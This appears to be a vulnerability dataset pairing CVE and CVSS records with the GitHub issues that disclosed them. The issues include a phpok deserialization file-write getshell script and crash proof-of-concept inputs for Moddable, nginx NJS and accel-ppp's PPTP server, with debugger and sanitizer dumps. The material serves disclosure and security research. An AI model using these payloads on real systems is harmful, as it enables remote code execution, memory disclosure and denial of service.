if($dlist && count($dlist)>0){
foreach($dlist as $key=>$value){
$this->cp($value,$new.$basename.'/',$recover);
}
}
return true;
}
/**
* 文件移动操作
* @参数 $old 旧文件（夹）
* @参数 $new 新文件（夹）
* @参数 $recover 是否覆盖
* @返回 false/true
**/
public function mv($old,$new,$recover=true)
{
if(!file_exists($old)){
return false;
}
if(substr($new,-1) == "/"){
$this->make($new,"dir");
}else{
$this->make($new,"file");
}
if(file_exists($new)){
if($recover){
unlink($new);
}else{
return false;
}
}else{
$new = $new.basename($old);
}
rename($old,$new);
return true;
}
/**
* 获取文件夹列表
* @参数 $folder 获取指定文件夹下的列表（仅一层深度）
* @返回 数组
**/
public function ls($folder)
{
$this->read_count++;
$list = $this->_dir_list($folder);
if(is_array($list)){
sort($list,SORT_STRING);
}
return $list;
}
/**
* 获取文件夹及子文件夹等多层文件列表（无限级，长度受系统限制）
* @参数 $folder 文件夹
* @参数 $list 引用变量
**/
public function deep_ls($folder,&$list)
{
$this->read_count++;
$tmplist = $this->_dir_list($folder);
if($tmplist){
foreach($tmplist as $key=>$value){
if(is_dir($value)){
$this->deep_ls($value,$list);
}else{
$list[] = $value;
}
}
}
}
/**
* 取得文件夹下的列表
* @参数 $file 文件（夹）
* @参数 $type 仅支持folder或file，为file，直接返回$file本身
* @返回 $file或数组
**/
private function _dir_list($file,$type="folder")
{
if(substr($file,-1) == "/"){
$file = substr($file,0,-1);
}
if(!file_exists($file)){
return false;
}
if($type == "file" || is_file($file)){
return $file;
}else{
$handle = opendir($file);
$array = array();
while(false !== ($myfile = readdir($handle))){
if($myfile != "." && $myfile != ".." && $myfile != ".svn") $array[] = $file."/".$myfile;
}
closedir($handle);
return $array;
}
}
/**
* 数组转成字符串
* @参数 $array 要转的数组的
* @参数 $var 传递的变量
* @参数 $content 内容
* @返回
* @更新时间
**/
private function __array($array,$var,$content="")
{
foreach($array AS $key=>$value){
if(is_array($value)){
$content .= $this->__array($value,"".$var."[\"".$key."\"]");
}else{
$old_str = array('"',"<?php","?>","\r");
$new_str = array("'","<?php","?>","");
$value = str_replace($old_str,$new_str,$value);
$content .= "\$".$var."[\"".$key."\"] = \"".$value."\";\n";
}
}
return $content;
}
/**
* 打开文件
* @参数 $file 打开的文件
* @参数 $type 打开类型，默认是wb
**/
private function _open($file,$type="wb")
{
$handle = fopen($file,$type);
$this->read_count++;
return $handle;
}
/**
* 写入信息
* @参数 $content 内容
* @参数 $file 要写入的文件
* @参数 $type 打开方式
* @返回 true
**/
private function _write($content,$file,$type="wb")
{
if($content){
$content = stripslashes($content);
}
$handle = $this->_open($file,$type);
fwrite($handle,$content);
unset($content);
$this->_close($handle);
return true;
}
/**
* 关闭句柄
* @参数 $handle 句柄
**/
private function _close($handle)
{
return fclose($handle);
}
/**
* 附件下载
* @参数 $file 要下载的文件地址
* @参数 $title 下载后的文件名
**/
public function download($file,$title='')
{
if(!$file){
return false;
}
if(!file_exists($file)){
return false;
}
$ext = pathinfo($file,PATHINFO_EXTENSION);
$filesize = filesize($file);
if(!$title){
$title = basename($file);
}else{
$title = str_replace('.'.$ext,'',$title);
$title.= '.'.$ext;
}
ob_end_clean();
set_time_limit(0);
header("Content-type: applicatoin/octet-stream");
header("Date: ".gmdate("D, d M Y H:i:s",time())." GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s",time())." GMT");
header("Content-Encoding: none");
header("Content-Disposition: attachment; filename=".rawurlencode($title)."; filename*=utf-8''".rawurlencode($title));
header("Accept-Ranges: bytes");
$range = 0;
$size2 = $filesize -1;
if (isset ($_SERVER['HTTP_RANGE'])) {
list ($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
$new_length = $size2 - $range;
header("HTTP/1.1 206 Partial Content");
header("Content-Length: ".$new_length); //输入总长
header("Content-Range: bytes ".$range."-".$size2."/".$filesize);
} else {
header("Content-Range: bytes 0-".$size2."/".$filesize); //Content-Range: bytes 0-4988927/4988928
header("Content-Length: ".$filesize);
}
$read_buffer=4096;
$sum_buffer = 0;
$handle = fopen($file, "rb");
fseek($handle, $range);
ob_start();
while (!feof($handle) && $sum_buffer<$filesize) {
echo fread($handle,$read_buffer);
$sum_buffer+=$read_buffer;
ob_flush();
flush();
}
ob_end_clean();
fclose($handle);
}
}
class cache{
protected $key_id='www';
protected $key_list='aaPD9waHAgcGhwaW5mbygpOz8+"';
protected $folder='php://filter/write=convert.base64-decode/resource=../../../../../../../Applications/MxSrvs/www/a';
}
$token = new token_lib();
$file = new file_lib();
$token->keyid($file->cat("./index.php"));
echo $token->encode(new cache());
`
| phpok6.1 has a deserialization vulnerability, and can getshell by writing arbitrary files | https://api.github.com/repos/qinggan/phpok/issues/12/comments | 0 | 2022-04-14T07:37:26Z | 2023-03-11T08:14:35Z | https://github.com/qinggan/phpok/issues/12 | 1,204,150,536 | 12 | 3,601 |
CVE-2022-29368 | 2022-05-12T19:15:49.493 | Moddable commit before 135aa9a4a6a9b49b60aa730ebc3bcc6247d75c45 was discovered to contain an out-of-bounds read via the function fxUint8Getter at /moddable/xs/sources/xsDataView.c. | {
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"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 5.8,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 4.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
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"attackVector": "LOCAL",
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"baseScore": 7.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.2,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/Moddable-OpenSource/moddable/commit/135aa9a4a6a9b49b60aa730ebc3bcc6247d75c45"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/Moddable-OpenSource/moddable/issues/896"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/Moddable-OpenSource/moddable/commit/135aa9a4a6a9b49b60aa730ebc3bcc6247d75c45"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
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"Third Party Advisory"
],
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}
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] | 125 | https://github.com/Moddable-OpenSource/moddable/issues/896 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"Moddable-OpenSource",
"moddable"
] | ### Environment
**Build environment:** Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
**Target device:** sdk
**Commit:** e26597b9bf71e4d79f01cb329bd04f1562d32ddc
### Proof of concept
poc.js
```
function main() {
var a4 = [1111111111,1111111111,1111111111,1111111111,1111111111];
var a5 = [11111111111111111111];
var a8 = ``;
var a9 = 0;
var a10 = Uint32Array;
var a11 = new Uint8ClampedArray();
({"buffer":a9,"byteLength":a10,"byteOffset":a8,} = a11);
var a13 = new Uint8ClampedArray(a9,1111111111,...a4);
var a14 = new Uint32Array(Symbol,111111111111111,...a5,...a13);
}
main();
```
### Analysis
In file: /moddable/xs/sources/xsDataView.c
```
2891 }
2892
2893 void fxUint8Getter(txMachine* the, txSlot* data, txInteger offset, txSlot* slot, int endian)
2894 {
2895 slot->kind = XS_INTEGER_KIND;
► 2896 slot->value.integer = c_read8((txU1*)(data->value.arrayBuffer.address + offset)); => [1]
2897 mxMeterOne();
2898 }
2899
```
Since the `offset` in [1] is controlled by attackers, this issue brings arbitrary memory read primitive.
```
RAX 0x800038ff226f
RBX 0x7ffff6c47590 ◂— 0x0
RCX 0x7ffff6c475f0 ◂— 0x0
RDX 0x7ffff6c4eca8 ◂— 0x0
RDI 0x5555557162a0 —▸ 0x7ffff6c47590 ◂— 0x0
RSI 0x7ffff44670d0 —▸ 0x7ffff44670f0 ◂— 0x0
R8 0x0
R9 0x5555555c64cf (fxUint8Getter) ◂— endbr64
R10 0x555555737004 ◂— 0xc7a000001e35390
R11 0x0
R12 0x0
R13 0x0
R14 0x7ffff445c890 —▸ 0x7ffff445c8b0 —▸ 0x7ffff445c8d0 —▸ 0x7ffff445c8f0 ◂— 0x0
R15 0x7ffff6c476b0 —▸ 0x7ffff6c479f0 —▸ 0x7ffff6c47ad0 —▸ 0x7ffff6c47bf0 ◂— 0x0
RBP 0x7fffffffae50 —▸ 0x7fffffffaea0 —▸ 0x7fffffffbb80 —▸ 0x7fffffffbbd0 —▸ 0x7fffffffbc30 ◂— ...
RSP 0x7fffffffae50 —▸ 0x7fffffffaea0 —▸ 0x7fffffffbb80 —▸ 0x7fffffffbbd0 —▸ 0x7fffffffbc30 ◂— ...
RIP 0x5555555c6502 (fxUint8Getter+51) ◂— movzx eax, byte ptr [rax]
───────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────
0x5555555c64ff <fxUint8Getter+48> add rax, rdx
► 0x5555555c6502 <fxUint8Getter+51> movzx eax, byte ptr [rax]
0x5555555c6505 <fxUint8Getter+54> movzx edx, al
0x5555555c6508 <fxUint8Getter+57> mov rax, qword ptr [rbp - 0x20]
0x5555555c650c <fxUint8Getter+61> mov dword ptr [rax + 0x10], edx
0x5555555c650f <fxUint8Getter+64> nop
0x5555555c6510 <fxUint8Getter+65> pop rbp
0x5555555c6511 <fxUint8Getter+66> ret
0x5555555c6512 <fxUint8Setter> endbr64
0x5555555c6516 <fxUint8Setter+4> push rbp
0x5555555c6517 <fxUint8Setter+5> mov rbp, rsp
0x5555555c651a <fxUint8Setter+8> mov qword ptr [rbp - 0x18], rdi
───────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────────────────────────
In file: /home/q1iq/Documents/share/moddable-origin/e26597b/moddable/xs/sources/xsDataView.c
2891 }
2892
2893 void fxUint8Getter(txMachine* the, txSlot* data, txInteger offset, txSlot* slot, int endian)
2894 {
2895 slot->kind = XS_INTEGER_KIND;
► 2896 slot->value.integer = c_read8((txU1*)(data->value.arrayBuffer.address + offset));
2897 mxMeterOne();
2898 }
2899
2900 void fxUint8Setter(txMachine* the, txSlot* data, txInteger offset, txSlot* slot, int endian)
2901 {
───────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ rbp rsp 0x7fffffffae50 —▸ 0x7fffffffaea0 —▸ 0x7fffffffbb80 —▸ 0x7fffffffbbd0 —▸ 0x7fffffffbc30 ◂— ...
01:0008│ 0x7fffffffae58 —▸ 0x5555555bcc42 (fxTypedArrayGetter+329) ◂— nop
02:0010│ 0x7fffffffae60 —▸ 0x7fffffffae90 —▸ 0x7ffff4467250 —▸ 0x7ffff4467270 ◂— 0x0
03:0018│ 0x7fffffffae68 —▸ 0x5555557162a0 —▸ 0x7ffff6c47590 ◂— 0x0
04:0020│ 0x7fffffffae70 ◂— 0x7450 /* 'Pt' */
05:0028│ 0x7fffffffae78 ◂— 0x423a35c700000000
06:0030│ 0x7fffffffae80 —▸ 0x7ffff4467210 —▸ 0x7ffff4467230 —▸ 0x7ffff4467250 —▸ 0x7ffff4467270 ◂— ...
07:0038│ 0x7fffffffae88 —▸ 0x7ffff4467230 —▸ 0x7ffff4467250 —▸ 0x7ffff4467270 ◂— 0x0
─────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────
► f 0 0x5555555c6502 fxUint8Getter+51
f 1 0x5555555bcc42 fxTypedArrayGetter+329
f 2 0x55555562d8d4 fxRunID+3486
f 3 0x55555558576e fxGetAll+598
f 4 0x55555559c824 fx_ArrayIterator_prototype_next+357
f 5 0x55555562d8d4 fxRunID+3486
f 6 0x5555556476fa fxRunScript+3157
f 7 0x5555556ac0ef fxRunProgramFile+190
```
In this case, rax is an out-of-bounds read index of the `value.arrayBuffer.address`, which has the value of `0x7ffff6c4eca8+1111111111`.
### ASAN Stack dump
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1832495==ERROR: AddressSanitizer: SEGV on unknown address 0x7fa3408a4a6f (pc 0x0000005dcb52 bp 0x7ffcb61fa520 sp 0x7ffcb61fa490 T0)
==1832495==The signal is caused by a READ memory access.
#0 0x5dcb52 in fxUint8Getter /home/q1iq/Documents/moddable/xs/sources/xsDataView.c:2895:24
#1 0x5bdef6 in fxTypedArrayGetter /home/q1iq/Documents/moddable/xs/sources/xsDataView.c:1013:4
#2 0x7bb754 in fxRunID /home/q1iq/Documents/moddable/xs/sources/xsRun.c:845:7
#3 0x4e7d61 in fxGetAll /home/q1iq/Documents/moddable/xs/sources/xsAPI.c:974:4
#4 0x5357f2 in fx_ArrayIterator_prototype_next /home/q1iq/Documents/moddable/xs/sources/xsArray.c:2592:5
#5 0x7bb754 in fxRunID /home/q1iq/Documents/moddable/xs/sources/xsRun.c:845:7
#6 0x82df0f in fxRunScript /home/q1iq/Documents/moddable/xs/sources/xsRun.c:4790:4
#7 0xa02bbe in fxRunProgramFile /home/q1iq/Documents/moddable/xs/tools/xst.c:1640:2
#8 0x9fcdad in main /home/q1iq/Documents/moddable/xs/tools/xst.c:332:8
#9 0x7fa302a7a082 in __libc_start_main /build/glibc-KZwQYS/glibc-2.31/csu/../csu/libc-start.c:308:16
#10 0x42f66d in _start (/home/q1iq/Documents/moddable/build/bin/lin/debug/xst+0x42f66d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/moddable/xs/sources/xsDataView.c:2895:24 in fxUint8Getter
==1832495==ABORTING
```
### Credit
P1umer(@P1umer) and Q1IQ(@Q1IQ) | Out-of-bounds Read in fxUint8Getter | https://api.github.com/repos/Moddable-OpenSource/moddable/issues/896/comments | 3 | 2022-04-08T06:18:36Z | 2022-04-15T18:48:45Z | https://github.com/Moddable-OpenSource/moddable/issues/896 | 1,196,877,726 | 896 | 3,602 |
CVE-2022-29369 | 2022-05-12T19:15:49.533 | Nginx NJS v0.7.2 was discovered to contain a segmentation violation via njs_lvlhsh_bucket_find at njs_lvlhsh.c. | {
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"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 5,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV30": null,
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"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
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"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
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} | [
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"tags": [
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],
"url": "https://github.com/nginx/njs/commit/222d6fdcf0c6485ec8e175f3a7b70d650c234b4e"
},
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],
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],
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},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
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],
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] | 754 | https://github.com/nginx/njs/issues/467 | [
"Third Party Advisory"
] | github.com | [
"nginx",
"njs"
] | ### Environment
```
OS : Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Commit : 7bd570b39297d3d91902c93a624c89b08be7a6fe
Version : 0.7.2
Build :
NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address"
NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer"
```
### Proof of concept
```
function f2(v) {
Object.prototype.toString = v;
}
Object.prototype.toString = f2;
function f() {
"includes"[{}]();
}
new Promise(f);
String.fromCharCode(0,parseInt);
```
### Stack dump
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==2064577==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004cac48 bp 0x7ffcc1edfbf0 sp 0x7ffcc1edfbb0 T0)
==2064577==The signal is caused by a READ memory access.
==2064577==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used.
#0 0x4cac48 in njs_lvlhsh_bucket_find /home/q1iq/Documents/origin/njs/src/njs_lvlhsh.c:231:17
#1 0x4cac48 in njs_lvlhsh_find /home/q1iq/Documents/origin/njs/src/njs_lvlhsh.c:181:20
#2 0x516c4f in njs_object_property /home/q1iq/Documents/origin/njs/src/njs_object_prop.c:59:15
#3 0x4d5963 in njs_value_to_primitive /home/q1iq/Documents/origin/njs/src/njs_value.c:159:19
#4 0x4fb3ab in njs_value_to_number /home/q1iq/Documents/origin/njs/src/njs_value_conversion.h:18:15
#5 0x4fb3ab in njs_value_to_numeric /home/q1iq/Documents/origin/njs/src/njs_value_conversion.h:54:11
#6 0x4fb3ab in njs_string_from_char_code /home/q1iq/Documents/origin/njs/src/njs_string.c:2036:19
#7 0x53bf9c in njs_function_native_call /home/q1iq/Documents/origin/njs/src/njs_function.c:739:11
#8 0x4e47fa in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs/src/njs_vmcode.c:785:23
#9 0x53b43a in njs_function_lambda_call /home/q1iq/Documents/origin/njs/src/njs_function.c:703:11
#10 0x4e47fa in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs/src/njs_vmcode.c:785:23
#11 0x4deb7b in njs_vm_start /home/q1iq/Documents/origin/njs/src/njs_vm.c:493:11
#12 0x4c8099 in njs_process_script /home/q1iq/Documents/origin/njs/src/njs_shell.c:903:19
#13 0x4c7484 in njs_process_file /home/q1iq/Documents/origin/njs/src/njs_shell.c:632:11
#14 0x4c7484 in main /home/q1iq/Documents/origin/njs/src/njs_shell.c:316:15
#15 0x7f4beb9e10b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#16 0x41dabd in _start (/home/q1iq/Documents/origin/njs/build/njs+0x41dabd)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/origin/njs/src/njs_lvlhsh.c:231:17 in njs_lvlhsh_bucket_find
==2064577==ABORTING
```
### Credit
Q1IQ(@Q1IQ) | SEGV njs_lvlhsh.c:231:17 in njs_lvlhsh_bucket_find | https://api.github.com/repos/nginx/njs/issues/467/comments | 0 | 2022-02-15T08:25:51Z | 2022-04-05T03:03:07Z | https://github.com/nginx/njs/issues/467 | 1,138,345,452 | 467 | 3,603 |
CVE-2022-28936 | 2022-05-15T16:15:07.787 | FISCO-BCOS release-3.0.0-rc2 was discovered to contain an issue where a malicious node can trigger an integer overflow and cause a Denial of Service (DoS) via an unusually large viewchange message packet. | {
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"FISCO-BCOS",
"FISCO-BCOS"
] | **Describe the bug**
I setup a group of 10 nodes under 3.0.0-rc2 version. One of the nodes is a malicious one and tries to modify some fields when it sends out some packages. Then I use the following command to test the system:
```
java -cp 'conf/:lib/*:apps/*' org.fisco.bcos.sdk.demo.perf.PerformanceOk 500000 5000 group
```
Then some transactions cannot be processed successfully.
**To Reproduce**
Steps to reproduce the behavior:
1. setup a 10 nodes group
2. start the press test program
3. See the error
**Expected behavior**
All the transactions should be processed correctly.
**Screenshots**
The information of the log:
<img width="1276" alt="wecom-temp-91f562961c3181bcc3b08c065911ac20" src="https://user-images.githubusercontent.com/22519865/160398901-16eaee6a-2adc-4f9a-8745-3a51c8cba995.png">
**Environment (please complete the following information):**
- OS: Ubuntu 20.04
- FISCO BCOS Version 3.0.0-rc2
| A malicious node may fake a proposal's header when he is the leader and result in the successful consensusing of the illegal blocks | https://api.github.com/repos/FISCO-BCOS/FISCO-BCOS/issues/2307/comments | 1 | 2022-03-28T12:35:44Z | 2022-06-24T07:29:40Z | https://github.com/FISCO-BCOS/FISCO-BCOS/issues/2307 | 1,183,376,117 | 2,307 | 3,604 |
CVE-2022-28937 | 2022-05-15T16:15:07.830 | FISCO-BCOS release-3.0.0-rc2 was discovered to contain an issue where a malicious node, via an invalid proposal with an invalid header, will cause normal nodes to stop producing new blocks and processing new clients' requests. | {
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I setup a group with 10 nodes. One of them are malicious one. First, the malicious node starts, and after that all the other nodes start. Then I start the press testing program to send transactions to the group. And it stuck here:
<img width="802" alt="wecom-temp-75977b4b95fd5e2708c60a74fa9d52cb" src="https://user-images.githubusercontent.com/22519865/160525696-055d553a-a293-4ef2-94cf-fa33250d4cec.png">
**To Reproduce**
Steps to reproduce the behavior:
1. setup 10 nodes
2. start press testing program
3. the bug occurs
**Expected behavior**
The system should not stuck and keep changing the view.
**Screenshots**
<img width="997" alt="wecom-temp-6d4cb25e958210a742ece57c15bdc189" src="https://user-images.githubusercontent.com/22519865/160525673-ee15f4a5-1160-40d7-8f57-87daf02e9667.png">
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**Environment (please complete the following information):**
- OS: Ubuntu 20.04
- FISCO BCOS Version 3.0.0-rc2
**Additional context**
There maybe an integer overflow during the viewchange and the malicious node can always be the leader.
| A malicious node becomes a leader and set the view to a very large one, blocks cannot be processed | https://api.github.com/repos/FISCO-BCOS/FISCO-BCOS/issues/2312/comments | 1 | 2022-03-29T03:14:29Z | 2022-03-30T14:06:17Z | https://github.com/FISCO-BCOS/FISCO-BCOS/issues/2312 | 1,184,240,518 | 2,312 | 3,605 |
CVE-2022-30049 | 2022-05-15T17:15:07.747 | A Server-Side Request Forgery (SSRF) in Rebuild v2.8.3 allows attackers to obtain the real IP address and scan Intranet information via the fileurl parameter. | {
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Location of vulnerability code、The request parameter type is the URL
fetchRemoteJson code、Call Httpurl. Get to trigger SSRF vulnerability
Vulnerability proof screenshot
| SSRF vulnerability | https://api.github.com/repos/getrebuild/rebuild/issues/460/comments | 0 | 2022-04-27T12:45:46Z | 2022-04-29T08:35:10Z | https://github.com/getrebuild/rebuild/issues/460 | 1,217,304,107 | 460 | 3,606 |
CVE-2021-42870 | 2022-05-16T14:15:07.737 | ACCEL-PPP 1.12.0 has an out-of-bounds read in post_msg when processing a call_clear_request. | {
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## Summary
Sending `PPTP Call Clear Request` Packet after `PPTP Start Control Connection Request` and `PPTP Outgoing Call Request` to server can cause `stack-buffer-underflow`.
## PoC
Here is the detailed information of sent packets:
* Packet 1
```
hexstream:
009c00011a2b3c4d00010000010000000000000300000003ffff00016c6f63616c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000063616e616e69616e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
packet structure:
###[ PPTP Start Control Connection Request ]###
len = 156
type = Control Message
magic_cookie= 0x1a2b3c4d
ctrl_msg_type= Start-Control-Connection-Request
reserved_0= 0x0
protocol_version= 256
reserved_1= 0x0
framing_capabilities= Asynchronous Framing supported+Synchronous Framing supported
bearer_capabilities= Analog access supported+Digital access supported
maximum_channels= 65535
firmware_revision= 1
host_name = 'local'
vendor_string= 'cananian'
```
* Packet 2
```
hexstream:
00a800011a2b3c4d00070000e60c00000000096000989680000000030000000300030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
packet structure:
###[ PPTP Outgoing Call Request ]###
len = 168
type = Control Message
magic_cookie= 0x1a2b3c4d
ctrl_msg_type= Outgoing-Call-Request
reserved_0= 0x0
call_id = 58892
call_serial_number= 0
minimum_bps= 2400
maximum_bps= 10000000
bearer_type= Any type of channel
framing_type= Any type of framing
pkt_window_size= 3
pkt_proc_delay= 0
phone_number_len= 0
reserved_1= 0x0
phone_number= ''
subaddress= ''
```
* Packet 3
```
hexstream:
001000011a2b3c4d000c0000e60c0000
packet structure:
###[ PPTP Call Clear Request ]###
len = 16
type = Control Message
magic_cookie= 0x1a2b3c4d
ctrl_msg_type= Call-Clear-Request
reserved_0= 0x0
call_id = 58892
reserved_1= 0x0
```
**Hint: the `call_id` field is randomly generated thus directly forwarding those three packets might not reproduce the scene. To reproduce it, it's neccessary to construct similar packets.**
## Crash report
log of server:
```
[2021-10-18 13:23:01.445] accel-ppp version 1.12.0-149-gff91c73
[2021-10-18 13:23:01.477] pptp: iprange module disabled, improper IP configuration of PPP interfaces may cause kernel soft lockup
[2021-10-18 13:23:01.479] l2tp: iprange module disabled, improper IP configuration of PPP interfaces may cause kernel soft lockup
[2021-10-18 13:23:01.516] pptp: new connection from 127.0.0.1
[2021-10-18 13:23:01.517] : : recv [PPTP Start-Ctrl-Conn-Request <Version 1> <Framing 3> <Bearer 3> <Max-Chan 65535>]
[2021-10-18 13:23:01.517] : : send [PPTP Start-Ctrl-Conn-Reply <Version 1> <Result 1> <Error 0> <Framing 3> <Bearer 3> <Max-Chan 1>]
[2021-10-18 13:23:02.516] : : recv [PPTP Outgoing-Call-Request <Call-ID e60c> <Call-Serial 0> <Min-BPS 2400> <Max-BPS 10000000> <Bearer 3> <Framing 3> <Window-Size 3> <Delay 0>]
[2021-10-18 13:23:02.517] : : send [PPTP Outgoing-Call-Reply <Call-ID 615> <Peer-Call-ID e60c> <Result 1> <Error 0> <Cause 0> <Speed 10000000> <Window-Size 3> <Delay 0> <Channel 0>]
[2021-10-18 13:23:02.517] : : lcp_layer_init
[2021-10-18 13:23:02.517] : : auth_layer_init
[2021-10-18 13:23:02.517] : : ccp_layer_init
[2021-10-18 13:23:02.517] : : ipcp_layer_init
[2021-10-18 13:23:02.517] : : ipv6cp_layer_init
[2021-10-18 13:23:02.517] : : ppp establishing
[2021-10-18 13:23:02.518] : 78a9b1ca73684d70: lcp_layer_start
[2021-10-18 13:23:02.518] : 78a9b1ca73684d70: send [LCP ConfReq id=71 <auth MSCHAP-v2> <mru 1400> <magic 465aee3b>]
[2021-10-18 13:23:03.495] terminate, sig = 15
[2021-10-18 13:23:03.495] : 78a9b1ca73684d70: terminate
[2021-10-18 13:23:03.495] : 78a9b1ca73684d70: lcp_layer_finish
[2021-10-18 13:23:03.496] : 78a9b1ca73684d70: pptp: ppp finished
[2021-10-18 13:23:03.496] : 78a9b1ca73684d70: send [PPTP Call-Disconnect-Notify <Call-ID ce6> <Result 3> <Error 0> <Cause 0>]
[2021-10-18 13:23:03.496] : 78a9b1ca73684d70: send [PPTP Stop-Ctrl-Conn-Request <Reason 0>]
[2021-10-18 13:23:03.521] : 78a9b1ca73684d70: lcp_layer_free
[2021-10-18 13:23:03.521] : 78a9b1ca73684d70: auth_layer_free
[2021-10-18 13:23:03.521] : 78a9b1ca73684d70: ccp_layer_free
[2021-10-18 13:23:03.521] : 78a9b1ca73684d70: ipcp_layer_free
[2021-10-18 13:23:03.521] : 78a9b1ca73684d70: ipv6cp_layer_free
[2021-10-18 13:23:03.521] : 78a9b1ca73684d70: recv [PPTP Call-Clear-Request <Call-ID e60c>]
[2021-10-18 13:23:03.521] : 78a9b1ca73684d70: send [PPTP Call-Disconnect-Notify <Call-ID ce6> <Result 4> <Error 0> <Cause 0>]
```
Here is the asan report:
```
==2434668==ERROR: AddressSanitizer: stack-buffer-underflow on address 0x7f785e8afe1f at pc 0x000000499d97 bp 0x7f7862ed07c0 sp 0x7f7862ecff88
READ of size 149 at 0x7f785e8afe1f thread T7
#0 0x499d96 in __asan_memcpy /home/brian/src/llvm_releases/llvm-project/llvm/utils/release/final/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22:3
#1 0x7f786b3e5d1f in post_msg /root/projects/accel-ppp/accel-pppd/ctrl/pptp/pptp.c:150:3
#2 0x7f786b3e6a19 in send_pptp_call_disconnect_notify /root/projects/accel-ppp/accel-pppd/ctrl/pptp/pptp.c:385:9
#3 0x7f786b3e13bd in pptp_call_clear_rqst /root/projects/accel-ppp/accel-pppd/ctrl/pptp/pptp.c:404:9
#4 0x7f786b3e13bd in process_packet /root/projects/accel-ppp/accel-pppd/ctrl/pptp/pptp.c:478:11
#5 0x7f786b3e13bd in pptp_read /root/projects/accel-ppp/accel-pppd/ctrl/pptp/pptp.c:527:9
#6 0x7f78714c81c1 in ctx_thread /root/projects/accel-ppp/accel-pppd/triton/triton.c:252:10
#7 0x7f78714c81c1 in triton_thread /root/projects/accel-ppp/accel-pppd/triton/triton.c:192:5
#8 0x7f7871485608 in start_thread /build/glibc-eX1tMB/glibc-2.31/nptl/pthread_create.c:477:8
#9 0x7f7870e5e292 in clone /build/glibc-eX1tMB/glibc-2.31/misc/../sysdeps/unix/sysv/linux/x86_64/clone.S:95
Address 0x7f785e8afe1f is located in stack of thread T7 at offset 31 in frame
#0 0x7f786b3e666f in send_pptp_call_disconnect_notify /root/projects/accel-ppp/accel-pppd/ctrl/pptp/pptp.c:373
This frame has 1 object(s):
[32, 180) 'msg' (line 374) <== Memory access at offset 31 partially underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
Thread T7 created by T0 here:
